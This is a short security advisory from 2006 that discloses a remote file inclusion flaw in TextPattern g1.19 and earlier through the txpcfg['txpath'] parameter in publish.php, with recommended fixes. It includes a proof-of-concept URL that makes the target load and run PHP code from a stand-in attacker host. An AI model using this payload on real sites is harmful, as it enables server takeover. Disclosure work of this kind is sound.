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TextPattern <=g1.19 (txpcfg[txpath]) Remote File Inclusion Vulnerability
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Author : Zeni Susanto A.K.A Bithedz
Date Found : October, 25th 2006
Location : Indonesia,Bandung
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
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Affected software description:
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Application : TextPattern
version : <=g1.19
URL : http://textpattern.com/deanload/textpattern_g119.zip
textpattern is A free, flexible, elegant, easy-to-use content management system
for all kinds of websites, even weblogs.
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Vulnerability:
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In file publish.php I found vulnerability script
--------------------------publish.php---------------------------------------
define("txpath",$txpcfg['txpath']);
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Input passed to the "txpcfg['txpath']" parameter in publish.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Proof Of Concept:
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http://yourtargetsite/[textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?
Solution:
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- Sanitize variable $txpcfg['txpath'] on affected files.
- Turn off register_globals
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